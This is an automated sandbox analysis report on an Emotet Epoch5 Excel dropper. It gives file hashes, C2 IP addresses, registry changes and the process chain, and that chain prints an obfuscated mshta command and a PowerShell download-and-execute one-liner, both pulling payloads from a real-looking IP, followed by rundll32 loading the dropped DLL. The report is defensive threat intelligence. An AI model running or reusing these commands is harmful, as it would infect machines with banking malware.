emotet | 2a110ebd19689b3d6c143a3916adf1f6132aa6ebdb1b150a8570be422540b263

Analysis

max time kernel
146s
max time network
150s
platform
windows7_x64
resource
win7-en-20211208
submitted
28-01-2022 00:42

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General

Target

SCAN 28012022.xls
Size

36KB
MD5

b8e2b4ad880a3d428762d98f22a3291d
SHA1

23bf1353fb8b2b1c17f309c2d5553a7d821604c5
SHA256

2a110ebd19689b3d6c143a3916adf1f6132aa6ebdb1b150a8570be422540b263
SHA512

9f0547ce417223dd2fb883c60ac6a9e45e9b25b6f083ef1c96450eca67f4d0c7c8578cf59d02379e9620a89b5207c3a64faa9a2a8cd7886ab15d1164a4664073

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	764	1672	CMD.EXE	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 576 mshta.exe
5 1296 powershell.exe
7 1296 powershell.exe
9 1296 powershell.exe
11 1548 rundll32.exe
13 1548 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1160 rundll32.exe
1160 rundll32.exe
1160 rundll32.exe
1160 rundll32.exe
1520 rundll32.exe
1520 rundll32.exe
1520 rundll32.exe
1520 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Yevcwviwoi\wqnepis.jxv rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	576	mshta.exe
5	1296	powershell.exe
7	1296	powershell.exe
9	1296	powershell.exe
11	1548	rundll32.exe
13	1548	rundll32.exe

pid	process
1160	rundll32.exe
1160	rundll32.exe
1160	rundll32.exe
1160	rundll32.exe
1520	rundll32.exe
1520	rundll32.exe
1520	rundll32.exe
1520	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Yevcwviwoi\wqnepis.jxv	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1672 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1296 powershell.exe
1548 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1296 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1672 EXCEL.EXE
1672 EXCEL.EXE
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1672 EXCEL.EXE
1672 EXCEL.EXE
1672 EXCEL.EXE

pid	process
1672	EXCEL.EXE

pid	process
1296	powershell.exe
1548	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1296	powershell.exe

pid	process
1672	EXCEL.EXE
1672	EXCEL.EXE

pid	process
1672	EXCEL.EXE
1672	EXCEL.EXE
1672	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1672 wrote to memory of 764	1672	EXCEL.EXE	CMD.EXE
PID 1672 wrote to memory of 764	1672	EXCEL.EXE	CMD.EXE
PID 1672 wrote to memory of 764	1672	EXCEL.EXE	CMD.EXE
PID 1672 wrote to memory of 764	1672	EXCEL.EXE	CMD.EXE
PID 764 wrote to memory of 576	764	CMD.EXE	mshta.exe
PID 764 wrote to memory of 576	764	CMD.EXE	mshta.exe
PID 764 wrote to memory of 576	764	CMD.EXE	mshta.exe
PID 764 wrote to memory of 576	764	CMD.EXE	mshta.exe
PID 576 wrote to memory of 1296	576	mshta.exe	powershell.exe
PID 576 wrote to memory of 1296	576	mshta.exe	powershell.exe
PID 576 wrote to memory of 1296	576	mshta.exe	powershell.exe
PID 576 wrote to memory of 1296	576	mshta.exe	powershell.exe
PID 1296 wrote to memory of 1964	1296	powershell.exe	cmd.exe
PID 1296 wrote to memory of 1964	1296	powershell.exe	cmd.exe
PID 1296 wrote to memory of 1964	1296	powershell.exe	cmd.exe
PID 1296 wrote to memory of 1964	1296	powershell.exe	cmd.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1964 wrote to memory of 1160	1964	cmd.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1160 wrote to memory of 1520	1160	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 1520 wrote to memory of 2032	1520	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe
PID 2032 wrote to memory of 1548	2032	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\SCAN 28012022.xls"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\CMD.EXE
CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:764

C:\Windows\SysWOW64\mshta.exe
mshta http://91.240.118.168/oo/aa/se.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:576

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1296

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
5⤵
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1160

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1520

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yevcwviwoi\wqnepis.jxv",WOkEuUC
8⤵
- Suspicious use of WriteProcessMemory
PID:2032

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yevcwviwoi\wqnepis.jxv",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1548

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

Download Submit
\ProgramData\QWER.dll
MD5
d7653fa9b638f6d41d1f76ed3025a875

SHA1
f6207008ab3abf05e7b99d5c43d39abd4823fa35

SHA256
1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

SHA512
